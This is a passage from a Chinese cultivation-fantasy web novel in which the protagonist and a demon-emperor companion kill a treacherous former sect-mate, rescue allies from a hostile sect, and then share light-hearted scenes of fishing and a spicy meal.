慕容舟任由那道结界将他们所处的位置完全与外界隔绝,只是不屑:“作茧自缚。”
原本他是真的打算留这个微不足道的符修一命,但现在,他要他死。
沉墨清修长手指微微摊开:“来。”
漆黑的山洞深处,一道寒芒撕裂晦暗,如长星直坠而来。
元婴剑意!
霜白长剑稳稳悬于黑衣修士掌心,一缕极其锋锐的剑芒滚过剑刃,凝结于剑尖一点,削薄剑刃如冰,映出一双清泠无澜的眉眼。
这一幕映照在慕容舟眼中,他的神情忽然变了。
“你是谁……你究竟是谁!”
“临战而慌,这便是你的剑心?”时隔多日,沉墨清再度抬剑,剑锋遥指故友同门,“来。”
慕容舟猛然后退。
【师兄,可否向你请教剑术?】
那天,他第一次大着胆子,上前喊住那人。
四周隐有嗤笑,是那些内门弟子笑他一个外门痴心妄想。就在他脸皮发烫之时,却见那人身形一停,从云间飘然而落,衣诀如鹤羽掠云。
青丝随风拂过,露出一双清绝眉目。
【来】
“……不可能,绝对不可能!”
慕容舟握剑的手微微颤抖,他低头,收缩的瞳孔映出那截染血袍袖,其上的鹤羽云纹,振翅欲飞。
“蝼蚁也敢乱我道心,死!”
无数剑刃齐飞,声势浩大,华丽无比。
苍舜无聊地打了个哈欠,脑袋压在交叠的爪子上。
这么多年了,这群剑修还是喜欢花里胡哨,华而不实的招笑剑术。
他慢悠悠偏过视线。
年轻符修发尾飘扬,持剑而立,唯有一剑,剑光如长夜初升的霜月。
还是这个好看。
慕容舟的数千剑刃如流星坠空,铺开无法逃脱的罗网,沉墨清岿然不动,递出一剑。
剑光清寒,空间仿佛被冰刃划开的宣纸,破开一道至上而下的霜色裂痕!
一剑破万法!
无数剑刃瞬间破碎,慕容舟身形急退飞出,撞上石壁,呕出大口血。
怎么可能?!
纵然是元婴中期的剑意,也非元婴本人亲至,威力必然大打折扣——他怎会不敌!
青筋暴起的手指插入石.壁,硬生生扣下一块山石。慕容舟抹去嘴角血迹,竖剑于前,指尖缓缓划过剑身。
剑刃化千,又化为万,目之所及,皆是锋锐的剑刃之海,割裂每寸空间。
这是他的成名绝技,名为瀚海潮生。迟早有天,会超绝那人的诸天万象阵!
慕容舟以剑指天,声音穿透剑刃之海,掷地有声:“能撑到此招,你也算死得其所。记住,杀你之人,乃天枢慕容舟!”
沉墨清听见耳畔突兀响起的笑声,笑得毫不留情,他无言侧首,对上某只妖皇揶揄的眼神。
【这就是你师门的人?你以前该不会也……哈哈哈!】
沉墨清:“小鱼干没了。”
笑容戛然而止,仿佛从未发生过。
某只妖皇一声不吭坐在原地,慢吞吞摇了摇尾巴。
剑刃之海已倾覆于前,沉墨清不躲不闪,一剑斩下。
剑光落,万剑陨!
慕容舟神识剧震,遭到重创,大口大口鲜血止不住呕出,翻江倒海的灵海之中,唯有一道清沉淡漠的声音:
“只重形,而无意。你的剑道,毫无长进。”
掌心黏腻,长剑几乎要脱手而出,慕容舟根本没管那句话,只听见了自己擂鼓般的心跳。
那剑意……在那人手上居然能发挥十成十的威力!仿佛他才是剑意之主!
不对,不对……他怎么会被一个筑基逼迫至此?!
他猛然抬起一张狰狞脸庞:“你不过是仗着元婴剑意,若没了这剑意,你什么都不是!”
相比于他的嘶吼,沉墨清的嗓音如冰霜沉池,净透无澜:“师门不曾教你,生死之战要用尽一切可依凭之物?”
“就比如,此时,此地。”
长剑脱手,悬于身侧,修长手指再绘一符。
符道气韵,加诸于身!此刻秘境之内,天地皆同力!
雷从天降,赫赫声威!
炽烈张扬的雷霆铺天盖地撕裂视野,化作浩瀚的雷光之海,压倒诸界众生。
慕容舟瞳孔震颤,那一夜宗门的灯火,亦如这满天雷光般耀耀灼目。
【待他归来,你将他引入
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山门,届时宗门大阵将开启,你也可提前伤他,削其战力】
【……长老?】
【事成,你便记入内门弟子考核】
【遵循宗门旨意!】
“你不能杀我!我一死,宗门魂灯破碎,我师门必不过放过你!九千州再无你的容身之地,你会被我师门挫骨扬灰!”
沉墨清一句轻笑,令慕容舟瞬间面如死灰:“你以为,这道结界是为什么?”
他于千玄阁阅览诸多符文,又得行云前辈点拨,终得一道可以隔绝天地、屏蔽生机的符箓。结界之内身死,便如浮游沉于沧海,无迹无踪。
孤寂死去,亦不会传回宗门魂灯。
慕容舟拔足便逃,爆发出了生平的最快速度。
恐惧压迫心脏,粗重的喘.息一声叠着一声。索命之刀就悬在脖颈之上,逼起每一根汗毛倒竖,手脚冰凉发麻。
毫无征兆地,他忽然想起几年前也曾有那么一天——
他被群魔所困,身临死境,只能像无头苍蝇般四处逃窜,却始终逃不进生门——直到,一道凌厉的剑光至天外斩下。
有人仅凭一剑撕开群魔缺口,轻然立于他身前,在群魔环伺的血幕之下,身姿锐利挺拔,衣摆猎猎张扬,袍尾绣有层叠鹤羽流纹,宛若清绝孤丽的白鹤振翅。
那时,他说:
“师兄救我!!”
一剑穿心而过,定格的瞳孔,布满未褪的绝望之色。
元婴初期,斩杀!
……
残躯湮灭于雷光,尸骨无存。就连储物袋也被一同销毁,所有痕迹皆被抹除。
苍舜拨弄一截染血袍袖,看见那年轻剑修静静立于原地,不悲不喜,眼眸如幽潭,窥不见半分天光。
霜白长剑在他指间化为一柄小剑,飞速远去。
这不过是一道剑意,凝结为剑之形,并非真正的剑。
现在的他纵然能握剑,亦无法以剑对敌。
一条细长的尾巴从身后绕过来,轻碰一下他的手腕。沉墨清转身,神色如常地对阔步来到自己面前的苍舜伸手。
苍舜歪头。
【何事?】
沉墨清直接从他的爪缝里将自己那截袍袖一点一点一点揪了出来,随手焚毁。
苍舜:“……”
某只妖皇又开始一声不吭地拿毛茸茸的脑袋拱他,很不经意地盯着他垂落的宽袖,时不时伸爪扒拉一下。
沉墨清摸摸凑到胸前的毛绒脑袋:“走吧。”
片刻后。
死寂的山洞,一道半透明的灵体挣扎着爬起。
慕容舟面目狰狞,挤出冷笑。
果然是下州蝼蚁,不知元婴早已超脱肉.身,哪怕身躯消亡,只要神魂还在,亦可复生!
昔日那个沉墨清正是被宗主四剑灭去神魂,天地之间再无此人——而现在的他,还能从头再来!
透明灵体极速向外冲去,只要出去,他就给师门报信!
都去死吧!和那个人一起魂飞魄散,不入轮回!
慕容舟无声狞笑,嘴角还没来得及咧至最高处,忽然停滞。
他的前方,一双乌沉无澜的眼眸于昏暗的山洞内亮起,静静地俯视他。
恭候多时。
慕容舟战栗的瞳孔中,那年轻修士的身后绕出一道山峦般高大的妖兽身影,炽烈的妖瞳如炬火,烈烈燃烧。
“……不!不!!”
绝望的声音被拉长,回荡于幽暗山洞之内,很快沉没于真正的死寂。
一粒石子随风轻动,簌簌滚出山洞,坠于深崖。
微风穿过灰暗山谷,沉墨清抬眼凝望天光,再偏首,身边的妖皇正在嚼嚼嚼。
“有这么好吃吗?”
【一般】
【也不是很喜欢】
继续嚼嚼嚼。
沉墨清向前一步,庞大的妖兽变回一坨蓬松的小毛绒球,熟练地扑腾到他头顶,窝到那带着淡淡香气的乌发间。
沉墨清感觉这只软乎乎的小毛绒球在他头顶挪蹭来挪蹭去,似乎在挑选舒服的位置,平和道:“别在上面吃。”
雪白小兽看看爪子里还剩半截的小鱼干,嗷呜一口吞掉,又丢了道清身咒,变得干干净净,趴了下来,窝成蓬松松一小饼。
然后,他听见那道好听而沉静的声音:“对了,你之前想和我说什么?”
慕容舟出现时,这只妖皇似乎还有未完之话。
苍舜:【……】
蓬松松的小毛绒球左顾右盼,若无其事地抖抖绒毛。
沉墨清抬手,伸到头顶,戳一下这坨软软的小白糖糕。
过了两秒。
雪白小兽若无其事地掏出一只装着桂花糕的小布兜。
毛茸茸地一脑袋扎了进去。
沉墨清:“……?”
13.第十三章 天下识君
听到沉墨清的话,苍舜沉默了足足半晌,最后还是一声不吭。
过了一会,这只雪白小兽探头探脑,装模作样地转移起了注意力,一副很忙的样子,在沉墨清发间蠕动来蠕动去。
沉墨清:“这是在撒娇吗?”
话音刚落,他就毫不意外地听见了大声的“咪呜咪呜”。
沉墨清把嗷嗷嗷的小毛绒球提溜下来,不准他趴自己头上。
雪白小兽跳到他手臂上,揣起小爪爪,一屁股坐了下来。
趴这里也行。
沉墨清轻飘飘把小毛绒球往空中一丢。
漂浮在空中的苍舜:“……”
“原来妖皇陛下会飞啊,”沉墨清说,“真是了不得。”
然后自己往前走了。
苍舜:“…………”
下一秒,沉墨清的前方横亘一座小型雪山,高大的影子遮蔽他的身影,细长而结实的尾巴缠绕勾起他的衣角。
【上来】
沉悦的声线听起来漫不经心,苍舜的眼眸也移向一边,没有和他对视。
沉墨清看着安静俯趴在自己面前的庞大妖兽,似乎没想到昔日的妖皇会做出这种动作,脚步微顿。
“若是让他人见到——”
苍舜轻哼:【这并非本尊的原形,就算千年前,也无人见过】
沉墨清:“难怪。”
——难怪关于这位妖皇外貌的记载一直语焉不详,还有人说妖皇原貌丑陋,青面獠牙,所以从不以原形示人。
毛茸茸的大妖皇又开始拿脑袋拱他,蹭着把他往前推推,爪子轻轻扒拉他的衣角。
沉墨清也不推脱,坦然坐在妖皇背上。雪白的皮毛宛若最上等的软垫,底下支撑他的又是山峦般有力的脊背。隔着柔软的毛绒,能感受到厚实皮毛下虬结肌肉蕴含的强悍力量。
苍舜等到那个年轻人族完全坐稳才慢吞吞站起,原地转了一圈,轻轻松松地将身上的人颠了两下。
【你怎么如此之轻?】
又颠一下。
沉墨清淡然抬手,逆着薅了一把妖皇背上的毛。
弄乱了。
【?】
啪。
苍舜回头,细长尾巴拍在那人拂落自己脊背的衣摆间,一抬步,如雷霆直贯长空而去,只留下一道残影电光。
“你们想做什么?!”
天空被层叠的符文遮挡,构成重重锁链,压得人无法喘.息。
宁离离扶住单膝跪地、不断咳血的白玥,不可置信的眼神投向上方。
半空中,二长老捋须而笑,他的身后,站着听雨宗那位金丹巅峰的大长老。
“宁丫头,交出那件四品巅峰法宝,今日便当什么事都没发生。”
白玥单手挡住宁离离,抹去唇角血迹:“法宝自行择主,已和她神魂绑定,你们夺不走!”
“哦?可惜了,强行取宝,宁丫头也会魂飞魄散啊……”二长老叹息摇头,“老夫也算是看着宁丫头你长大的,真不忍心下手啊。”
他又和蔼一笑:“不如白掌事你亲自来?你是她师父,下手也轻一些,说不定还能保住你二人性命。”
白玥眼神冷厉:“听雨宗此等行事,不怕千玄阁事后算账吗!”
二长老不以为意地抬手,拂去袍上并不存在的灰尘:“东州的千玄阁阁主不过金丹巅峰,在那位仙人面前亦卑微如蝼蚁,能奈我何?”
白玥的心沉到谷底,难怪这次秘境开放了如此众多名额,那个上州剑修早已和听雨宗达成交易,将他们踩做了垫脚石!
元婴,金丹,一境之差,却是天地之别。
“师父。”
她听见自己徒弟的低语,那个总是天真烂漫的蠢徒弟嘴角带笑,眼睛却红肿得像兔子,她的掌心微微发抖,声音却没有一丝抖动:
“师父,让我去吧。”
不远处,柳飘走到柳傲身边,小声开口:“父亲,听雨宗如此行径,难保之后不会对柳家出手。我们这时帮千玄阁,也是帮日后的柳家。”
柳傲背负双手,倨傲地说:“青竹城执棋之人,还是太多了。”
柳飘心底大骂,面上还是一副慎重的样子:“江兄和千玄阁关系紧密,白掌事未必没有后手,恐怕不会被轻易踢出棋局。”
柳傲不语,眼中似有畏惧、更有艳羡地望着那位金丹巅峰的听雨宗大长老,无动于衷。
柳飘微攥掌心,那道剑意早已回到她身边,虽是元婴剑意,以她炼气修为最多只能发挥筑基巅峰的战力。
可,她看不惯那些高高在上的仙人,看不惯这以势杀人的道。
听雨宗两位长居高临下的俯视中,白玥看着自己徒弟,缓缓开口:“你平时就不爱修行,喜欢偷懒睡觉,若不是我执意要带你来此……”
她的嘴唇又溢出血迹,咽下未尽之语,用只有宁离离听得到的声音说:“我数三声,你就跑。”
宁离离泪如雨下,一言不发,忽然反手一掌拍向自己眉间!
她还无法驾驭那件四品法宝,仅仅是炼化就让师父为她耗掉大半灵力护法,才会不敌那些听雨宗的人。
她知道,自己平时太懒,不够努力,所以修为一直上不去,事事都要师父帮她护她。
她还知道,只要她自毁灵府——就能引爆那件四品巅峰的法宝,掀起化神之威!
“师父快走!”
“不好!她要自爆!”
宁离离的动作动作实在太快,二长老脸庞骤然崩裂,出手欲拦——
然而,还有一个人更快!
白玥骤然甩出数百符文,顷刻封住宁离离灵脉,后者的身体被无数符文裹挟着向后推去,转眼退至数十丈外!
“抓住她!”
宁离离定格的瞳孔中,数十丈外,她的师父仰首大笑,悍然而起:“酒囊饭袋!来战!”
“师父!!”
高空之上,一直闭目的听雨宗大长老缓缓睁开眼眸。
“蚍蜉撼树。”
金丹巅峰,气势如浪,镇压全场——一刹那间,在场所有人皆无法动弹!
柳傲大惊,没想到自己也被压制,立刻开口:“大长老!我愿——”
大长老随手一指。
符文在他头顶化就巨大冰川,爆裂而开,无数冰棱激射而出,铺天盖地吞没视野。
索命的冰棱逼近,惊恐万分的柳傲不知从何处爆发出了足以挣脱压制的力量,将柳飘一把拽住身前:“吾儿助我!”
柳飘的眼底映出放大的冰棱,寒气几乎要冻结她的眼眶,刹那间她不再犹豫,一抹剑意直穿身后。
冰雨之下,白玥眼眶流血,以双指直指听雨宗大长老,燃尽修为殊死一搏。她的远处,宁离离在最后一刹竭力向她伸手——
秘境之内,九瓣莲生!
光辉流转的九瓣莲花绽开,巨大的花瓣垂拂而下,晶莹无暇,宛若仙人悲悯睁开的一眸。
莲香凛冽,冰棱破碎,落下一场灿烂的冰晶之雨。无数飞转的冰晶雪砾中,一袭玄衣的年轻修士从天外拾阶而下,眉间一点雪莲印记,眼眸无尘,宛若天道之剑落入尘间。
刹那间,全场寂静。
五品法宝!
听雨宗大长老骤然后退一大步,方才还淡然裁决生死的表情崩裂,化为极度的不可置信。
明明之前不过筑基初期,这才多久不见,居然已跨过中期!
不仅如此,秘境之内,所有符道气韵皆披于那人一身——此刻,他与秘境之主无异!
这一刹那,哪怕是金丹巅峰、哪怕明知自己是此地最强者,大长老亦不敢擅动。他死死盯着那个本该是筑基初期的年轻修士,居然泛起一阵无端的心悸。
难道,之前秘境内的异象……皆因此人而生?!
大长老藏在袍袖之下的手迅速掐碎一道玉简,传音给那位上州仙人,请他速来相助。
沉墨清的目光落过下方,掌心微抬。
华光流转的九瓣莲花徐徐转动,收敛花瓣,复为一盏琉璃灯大小——眼看要飘回他的掌心,被一只毛绒爪子半路劫走。
苍舜抓着那朵漂亮的小莲花,凑近一点,妖瞳倒映出晶莹亮色。
沉墨清看了眼手臂上那团拨弄莲花的雪白小兽,拍拍那只毛茸茸的小脑袋,随意道:“滚滚,去。”
无数漆黑丝线于空中爆开,迅速钩织成一道细长身影,符妖飘在沉墨清身后,欢快地高举面条般的双手。
符妖?
大长老眉心一跳。
看来那个法宝已耗费他太多灵力,无力再战,所以才召出一只微不足道的符妖。
他立即恢复了镇定表情,淡淡拱手道:“这位道友——”
轰隆!
大长老的身形飞出百米,砸上山谷,凹陷出一道足足三米的巨坑。
二长老惊骇无比的眼睛里,自家大长老原本站立的位置已有一道漆黑身影凭空而立,傲视下方。
金丹大圆满的符妖?!
他惊恐的眼神再往上移,望见符妖后方,那个年轻修士乌色无澜的眼眸。
他究竟何人,居然能收得半步元婴的符妖为奴仆?!
“前辈!”冷汗浸透衣衫,二长老立刻拱手,哆嗦着挤出笑容,“方才都是误会,我——”
轰隆!
山谷上又凹陷下一道深坑,和刚才并齐。符妖无聊地甩动手腕,又扬起脑袋,高高冲沉墨清挥舞手臂。
沉墨清垂眼,眸光落向白玥:“如何处置。”
白玥还没开口,旁边已响起一声:“杀!”
宁离离眼睛发红,一步跨前:“请江前辈帮我,让我亲手杀了他们!”
沉墨清:“可以。”
白玥抬起手臂,硬生生按下宁离离青筋鼓起的手背,摇了摇头,对沉墨清拱手:“当务之急是尽快离开这里,那个上州剑修应该很快会赶来。”
沉墨清落下平淡四字:“不必管他。”
白玥眼眸震动,似乎意识到了什么,再看宁离离,沉默了足足数秒,才缓缓开口:“我来。”
沉墨清不语,掌心轻轻拂过雪白小兽柔软皮毛。
亲自动手,为的是不让弟子沾上血债,以免日后结婴徒添心魔。
被带着淡淡香气的手指拂过脑袋,苍舜微微眯起妖瞳,抬眼看看沉墨清的侧脸,定了一下。
为什么好像有点难过了?
他把那朵漂亮的小莲花放到这个年轻人族手上,又抬起爪子。
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>指尖一热,沉墨清垂眼,雪白小兽趴在他掌心,毛茸茸的爪子轻轻搭住他的手指,有澎湃的灵力毫无阻碍地输送入他的体内。
他抬指,轻轻拨动了一下那只软趴趴的毛绒兽耳。
苍舜飞快抖了抖。
【???】
又摸他耳朵!
这只小毛绒球肉眼可见地蓬松了一圈,非常大声地“咪”一声,气汹汹地一爪子按住了他的手。
睁着圆溜溜的妖瞳瞪他,气呼呼的,继续给他送灵力。
听雨宗两位长老被符妖拎鸡仔似地抓了出来,以一种极其不体面的模样吊在空中,大长老犹在怒吼:“你不能动我!那位仙人不会放过你们!”
二长老则是不断求饶:“前辈饶命!以势压人,绝非君子所为啊!”
“我非君子,”沉墨清笑道,“二位好走。”
二长老涕泪横流:“前辈救我!白掌事!看在我们相识多年的份上……啊!!”
苍舜没有在意那边的动静,输送完一堆灵力后就伸了个长长的懒腰,下颌压在沉墨清手背上,在他的目光中理直气壮地蹭了两下。
秘境另一边,还有两人正在对峙。
柳傲捂住血流不止的胸口,不可置信地瞪着前方:“逆子,你……”
柳飘一言不发,方才柳傲将她推至身前时,她已驱使那道剑意,穿过柳傲胸膛。
她缓缓抬头,望向空中:“江兄,我们的约定可还作数?”
沉墨清:“自然。”
他话音刚落,那道剑意已化为霜白长剑,悬于柳飘身前。
柳飘深呼一口气,双手接剑,一步步向柳傲走去。
“你可知我娘临去之前,和我说了什么?”
柳傲捂住胸口连连后退:“钰儿你想做什么?你,你要冷静……”
他盯着柳飘手中那把利剑,目光往上,停留在长子没有表情的脸庞间,也看见了他身后那位玄衣飘然的年轻修士。
柳傲勉强挤出笑容,调度了几分生疏的慈爱:“是我对不起玉娘……她说了什么?”
柳飘盯着他看了足足数秒,才冷冷道:“这不是我娘闺名。”
“还有,我也不是我弟。”
“什么?!你——”
柳傲先是惊愕,而后怒目圆睁,破口大骂,再到后来求饶不止——甚至承诺只要出去,就将家主之位传给柳飘。
柳飘无动于衷地目睹了一场闹戏,等他说完最后一句,才点了点头,说“好”。
而后,在柳傲惊喜的眼中,一剑斩下。
……
风过林叶,日落西山。
秘境入口就在前方,进入此地不过短短一天,白玥却有种物是人非之感。
她低头,看着黏在自己身上狗熊蹭树似的宁离离,嘴角抽了抽,那点感慨登时云消雨散。
黑色丝线在空中乱飘,一只符妖围着沉墨清打转,看起来还不太想回储物袋里。
苍舜斜睨了它一眼。
符妖瑟瑟发抖地往沉墨清身后缩缩,只冒出一只小脑袋,白色的独眼耷拉下来,非常可怜巴巴的样子。
苍舜:“?”
沉墨清看看符妖,再看看某只妖皇。
苍舜高高昂起下颌:怎样?
沉墨清指节微抬。
雪白小兽立刻捂住耳朵。
沉墨清嘴角扬起,落下手心,抚摸那软软的绒毛。
苍舜顿时不吭声了。
被那只漂亮的手摸了几下,懒洋洋地瘫了下来,变成一坨软乎乎的小圆饼。
几根黑色丝线悄悄飘过来,试图缠绕这坨雪白的毛茸茸。
苍舜一爪子拍下去。
黑线瞬间溃散,符妖尖叫一声,蹿回了储物袋里。
沉墨清就看着怀里的雪白小兽倨傲地昂起脑袋,跳到自己肩上,趴下来压住了他的几缕黑发,又理直气壮地蹭了蹭。
“恭喜江道友,”白玥笑着走了过来,“不仅突破筑基中期,还得秘境传承。”
扒拉着她手臂的宁离离微微睁大眼睛:“啊?”
他们第一次相遇时,这位江前辈不还是炼气巅峰吗!
沉墨清淡定地捏住某只妖皇的毛绒爪子抬起来,救下自己那几缕发丝:“我得传承之事,还请诸位保密。”
话音刚落。
【得吾行云之传承者,江逾】
古老的声音仿若古钟嗡鸣,震响秘境,回音不绝,层层传荡而开。
青竹城,甚至整个东州,皆闻此声!
白玥:“……哈哈,江道友,天下谁人不识君啊。”
宁离离:“哈哈。”
柳飘:“哈哈。”
沉墨清:“……”
他侧首,肩膀上的小毛绒球在噗噗笑,笑得绒毛一颤一颤,像风吹过的蒲公英丛。
沉墨清看着这只蓬松的小毛绒球,只有三字:“小鱼干。”
苍舜端正而坐,肃穆凝神。
【刚才发生了何事?】嗓音低沉。
沉墨清无言。
一道身影,缓缓落在他的身边。
见到此人,白玥和宁离离还有柳飘三人脸上的笑意立刻消失。
是那天枢宗仙人……慕容舟!
14.第十四章 一点也不辣
没想到慕容舟会忽然出现,白玥几人如临大敌,下一秒,对方的举动更是超出他们意料。
慕容舟瞥了他们一眼,面无表情地张嘴:“听雨宗长老及柳家家主对我不敬,死有余辜,尔等可自行散去。”
陆续赶来的其他听雨宗弟子们听见这话,一个个皆被骇得面无人色。
楚风灵环顾四周,发现谢风的师弟躲在人群最后,用一种畏惧又隐含愤怒的目光死死盯着那位上州仙人,而他附近并不见谢风身影,心下了然,唯有一句叹息。
得罪了上州仙人,纵然他们听雨宗在东州拥有近千年底蕴,也不过是弹手间化作飞灰。
白玥余光掠过表情平静的沉墨清,心情颇为复杂。
这位江道友不知和上州仙人达成了什么交易,居然能让后者出面为他们担下杀人之责——此后,听雨宗形同虚设,其上宗亦不会找千玄阁麻烦。
沉墨清不紧不慢地抚摸着雪白小兽软软的绒毛,淡然不语。
苍舜慵懒地趴在他手背上,半眯的妖瞳框住慕容舟的身影,慕容舟与他目光短暂交汇,一言不发地转首,飞向秘境之外,再没有回头。
剩下的听雨宗弟子纷纷散去,秘境入口,只留下沉墨清几人。
他抬手,一道符纸飘出,落于柳飘面前。
柳飘瞳孔一震。
三品护灵符!
周姨已恢复实力,有这道符箓便可突破金丹,成为青竹城仅次于白掌事的高手!她又有那道剑意在手,柳家家主之位已是囊中之物!
可柳飘并没有伸手去接。
“江兄,昔日救命之恩,我以百年灵竹节勉强做抵,你又赠我隐匿符,我以柳家家传至宝相借,种种算下来,还是我受江兄馈赠良多。”
沉墨清道:“你我有约定,借我剑意,助你成为柳家家主,我自然要践约。”
柳飘心中一动,忽然明悟,修行之人最重因果,江兄此举,正是为了了却他与柳家的种种因果。
因果已圆,此后天高水远,她与这位江兄,应该再难相见。
柳飘笑着接下那道护灵符,珍重地收入怀中,长作一揖:“如此,我便祝江兄大道通途,直上青云!”
又看了眼他怀中的雪白小兽,再道:“也祝英武不凡的咪大人早日修成人形,变成威风凛凛的大妖!”
苍舜:“?”
眼看着那只幼小妖兽嗖一下子站起来了,柳飘撒腿便跑。
苍舜:“……”
雪白小兽气呼呼地抬头,用爪子扯扯沉墨清衣角。
沉墨清淡然垂手,掌心笼住那只毛茸茸的小脑袋,揉一揉。
雪白小兽一声不吭地被他多揉了几下,勉强消气了,蓬松松地趴了下来。
白玥笑着走过来:“这么快要分别了?真是让人惆怅啊。”
沉墨清微抬右手,掌心浮出一道四品符方:“这段时间承蒙白掌事照顾,这是谢礼。”
白玥立刻摆了摆手:“别,这礼太重,不管你怎么说,我是不会要的。”
“这些日子江道友为我千玄阁助力不少,还有今日救命之恩,都不知道怎么算了。”
沉墨清的掌心又落回扒拉他袖子的雪白小兽脑袋上:“既如此,这道符方便作为贺礼,为令徒来日结婴提前道贺。”
宁离离呆呆地看着飘到自己面前的符方:“我吗?”
白玥:“哎……傻愣着干什么!还不谢谢你江前辈!”
宁离离立刻摆出笑脸,连连拱手,熟练地吐出一堆“招财进宝”“仙人高照”“灵石广进越赚越有”之类的喜庆话。
沉墨清:“你师父对你很好。”
“当然啦,师父最喜欢我啦!”宁离离嘴角一下咧得高高的,身后的辫子活泼地跳动一下。
沉墨清笑了笑,苍舜刚好抬头,将他嘴角的那抹浅淡笑意收入眼底,却是微微蹙了下眉。
【想要拜师的话,你也可以喊本尊师尊】
慢悠悠的嗓音在耳畔响起,沉墨清一言不发地抬手。
雪白小兽飞快捂住耳朵,警惕缩头。
“……”
沉墨清轻轻揪了下那条软软的尾巴,在某只妖皇睁大的妖瞳中又揪了一下。
年轻的玄衣修士抱着咪咪呜呜的小毛绒球登临云间,落下清朗嗓音:“山高水远,有缘再会。”
白玥目送那道身影一直到视线穷尽之时,心道,下次再闻“江逾”之名,必然名动九千州。
飞鹰掠过山林,振翅于长空之上。
柳飘独自走出秘境入口,看见周姨向她走来,眼中有无言的担忧。
“一切可还顺利?”
“周姨,走吧。”柳飘笑了笑,“是时候将娘接回林家了。”
“师父。”
白玥的袖口被轻轻拉住,她回头,宁离离停在原地。
“我,我一定会努力修炼……”
少女的手掌捂住眼睛,慢慢从眼边抹过,话语也变得磕磕巴巴。
“我要让东州……让九千州都知道我的大名,让他们都知道,你是我宁离离的师父!”
白玥:“哎……”
“鼻涕别蹭为师身上。”
“……”
秘境入口逐渐匿迹,风吹林叶,山林静默。
天空割开幽深裂痕,一道身影横跨虚空而来,幽绿的长发张扬,容貌英俊,脚踩一具黑气森然的棺椁。
他单手托着一方罗盘,俯视起伏山林,一声低笑:“几人命数皆因一人更改?有趣,又有气运之子诞生了。”
“是何大能在此?”另有一人从远方飞速赶来,毫不掩饰金丹巅峰的气息,“见过前辈,晚辈乃东州……”
“聒噪。”
绿发男人连个眼神都不曾施舍,更不见有任何动作——眨眼之间,那个金丹巅峰血肉爆开,当场陨落。
罗盘指针飞速旋转,仿若受到某种干扰,始终无法指出方向。
“江逾……好一个假名,越江之鱼,还想化蛟吗?”
绿发男人缓缓笑了起来,亲昵地拍抚身下棺椁,袍袖飞舞,破开虚空而去。
——
天枢宗。
慕容舟长跪于阶下,仙玉堆砌的地砖清可鉴人,映出他的双眼。
“那秘境是一位炼虚修士遗留,弟子无能,未能获传承。”
“但,弟子已查清那江逾来路,曾是中州一符道宗门弟子,数年前被逐出宗门,成了一个散修。”
“不仅如此,弟子还查得那秘境之主留下了另一道秘境线索,就在——”
天色将暗,慕容舟独自回到自己住处,掩上房门。
他静静地盘坐在榻边,映在窗前的倒影并无异样——唯有凑到极近处才能发现,那双睁开的眼睛神采尽褪,不见丝毫生机,宛若一具提线傀儡。
咚咚咚。
门外忽然响起敲门声,慕容舟脑袋一动,缓缓向上抬起,眼睛已变得和常人无异。
“何人?”
门外响起一道爽朗的声音:“师弟开门,我是你萧师兄啊!”
……
群山巍峨,大江宽阔,一叶竹筏随江漂流。年轻男子白衫若流云而飘,乌发束起,静然垂钓江面。
一只圆滚滚的雪白小兽趴在竹筏边,脑袋微微探出,盯着江中悠然自在的肥美游鱼。
再扭过头,一声不吭地看着垂钓的沉墨清。
“咪。”
【不会有人钓了一个时辰还钓不上来吧?】
沉墨清八风不动:“心静自然有所得,妖皇陛下心不静,反扰了我的鱼。”
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>苍舜一巴掌拍向水面。
水纹急晃,一尾肥鱼高高跃出水面,直坠竹筏,到处扑腾,激起水花四溅。
【怎样?】
沉墨清依然从容:“外力干扰,不算。”
苍舜又一巴掌拍向鱼。
那条鱼坠回江里,晕头转向地游了几圈,一口咬住了沉墨清没有饵的鱼线。
“……”
在苍舜灼灼的目光中,沉墨清提起竹制的鱼竿,钓上了今日第一条鱼。
苍舜满意了,微抬下颌,迈着从容的步子走到沉墨清身边,一屁股坐在他的衣角上,紧紧挨着他。
【这个炸起来不好吃,拿去炖鱼羹】
说完,这只妖皇又探出脑袋,盯着江面一窝细细长长的游鱼。
沉墨清忽然莞尔:“有鱼上钩了。”
苍舜低头,却见鱼竿空空,沉墨清已然收杆,竹筏飘向岸边。
雪白小兽又扭过脑袋,盯着那窝越来越远的鱼——被一双修长的手拢了起来。
于是这只小毛绒球不盯鱼了,目光很不经意地落过那双白皙而骨节匀称的手,再很不经意地抬眼,打量身边的年轻人族。
清瘦的身形,衣衫笼过纤瘦腰身,比之前还宽松了些许。
苍舜心想:瘦了点。
多吃点鱼。
他的尾巴在空中悠悠一扫,几条鱼扑通扑通从江里跃起,落入竹篓。
竹筏随水流漂至岸边,沉墨清单手拎起竹篓,另一只手抱起蓬松松的雪白小兽。
又胖了点。
他无言地看了眼某只扒拉着自己袖子的小毛绒球。
少吃点小鱼干。
江边有座酒家,沉墨清将装满鲜鱼的竹篓交于店家,要了单独的包房,又点了几道小菜。
修行之人讲究远离凡尘,他的储物袋近来却总备着不少铜钱碎银——用来给某只好像不知道什么是辟谷的妖皇买零嘴。
很快,一桌热腾腾的全鱼宴流进包房,酒家临江,擅做鱼鲜,清一色的鲜嫩菜样,唯有一道洒满辣子蒜泥的薄薄白肉。
“错红盘,客官趁热享用!”
店小二报了菜名掩门而去,原本在鱼羹旁溜达的雪白小兽飞快探头,嗅到熟悉的鲜辣气味,想起之前城外的那碗辣油馄饨,飞快缩了回去。
沉墨清抬筷,片好的白肉薄可透光,滚过鲜红辣油,蘸着白雪般的蒜泥。
年少时,每到月末,做完当日的功课,夫子便抖出十几枚薄薄铜钱,让他去相熟的那家肉铺要了预留的几片豚首肉,再沽三两最便宜的浊酒。
豚首肉片得薄而大,下以重料,白肉浮于辣子红油间,夫子说,这便是城里那家千金楼做得最有名的错红盘,配上柳嫂家最好的三春酒,皇帝来了也不换。
“等我考中功名,夫子每天都有吃不完的错红盘,还有喝不完的三春酒!”
“瞧你那点出息,为师要醉香坊的桂花酿!”
后来他才知道,原来千金楼的错红盘用的根本不是最便宜的猪头肉,醉香坊最香的桂花陈酿,也只要二两银子。
当年落魄秀才收下他的拜师礼,不过十文钱。
一只毛绒绒的小脑袋忽然探了过来,趁他不备飞快叼走筷子上沾满辣油的白肉,一口吞了下去。
“……”
沉墨清眼睁睁看着面前这只小白糖糕,变成了红粉粉的红糖糕。
呆呆地坐在桌子上,一动不动。
他端来茶碗,倒了满满一碗茶,以双指推了过去:“如何?”
下一秒,雪白小兽炸成了一团大蒲公英,斯哈斯哈,飞快抖抖红粉粉的绒毛。
【不……过如此】
非常冷酷地说。
咕咚一脑袋埋进了茶碗里。
沉墨清:“……”
